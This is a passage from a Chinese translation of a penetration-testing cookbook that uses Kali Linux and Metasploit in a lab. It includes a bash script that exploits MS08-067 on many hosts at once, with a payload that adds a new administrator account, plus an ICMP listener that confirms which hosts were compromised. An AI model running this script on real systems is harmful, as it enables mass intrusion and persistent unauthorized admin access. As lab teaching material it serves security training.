Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 

Python流量監聽器應該首先執行。 指令碼最初不應生成輸出。 此指令碼應該在開發過程的整個時間內持續執行。 一旦指令碼執行,應該啟動 bash 利用指令碼。

root@KaliLinux:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and pinging 
Exploiting 172.16.36.158 and pinging 
Exploiting 172.16.36.225 and pinging

當執行指令碼時,原始終端 shell 會顯示每個系統正在被利用,並且正在執行ping序列。 還將為輸入列表中的每個 IP 地址開啟一個新的 GNOME 終端。 當每個利用過程完成時,應該從目標系統發起 ICMP 迴響請求:

[email protected]:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 
172.16.36.132 is exploitable 
172.16.36.158 is exploitable 
172.16.36.225 is exploitable

假設攻擊成功,Python 監聽指令碼會識別生成的流量,並將 ICMP 流量的每個源 IP 地址列為可利用。

工作原理

ICMP 流量似乎是一種用於驗證目標系統的可利用性的非直觀方式。 然而,它實際上工作得很好。 單個 ICMP 迴響請求在目標系統上沒有留下任何利用的痕跡,並且不需要過多的開銷。 此外,將 TTL 值設為 15 不太可能產生誤報,因為幾乎所有系統都以 128 或更高的TTL值開始。

8.8 建立管理賬戶的多執行緒 MSF 利用

該祕籍展示瞭如何使用 bash ,在多個系統上利用單個漏洞,並在每個系統上新增一個新的管理員帳戶。 該技術可以用於以後通過使用整合終端服務或 SMB 認證來訪問淪陷的系統。

準備

要使用此祕籍中演示的指令碼,你需要訪問多個系統,每個系統都具有可使用 Metasploit 利用的相同漏洞。 提供的示例複製了執行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個例項。 有關設定 Windows 系統的更多資訊,請參閱本書第一章中的“安裝 Windows Server”祕籍。 此外,本節還需要使用文字編輯器(如 VIM 或 Nano)將指令碼寫入檔案系統。 有關編寫指令碼的更多資訊,請參閱本書第一章的“使用文字編輯器(VIM 和 Nano)”祕籍。

操作步驟

下面的示例演示瞭如何使用 bash 指令碼同時利用單個漏洞的多個例項。 特別是,此指令碼可用於通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個例項:

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>"; 
exit; fi

iplist=$1 
user=$2 
pass=$3

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E   
    echo "Exploiting $ip and adding user $user" 
done 

由於載荷不同,此指令碼與以前的多執行緒利用指令碼不同。 這裡,在成功利用時會依次執行兩個命令。 這兩個命令中的第一個命令建立一個名為hutch的新使用者帳戶,並定義關聯的密碼。 第二個命令將新建立的使用者帳戶新增到本地Administrators組:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <username> <password> 
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch [email protected] 
Exploiting 172.16.36.132 and adding user hutch 
Exploiting 172.16.36.158 and adding user hutch 
Exploiting 172.16.36.225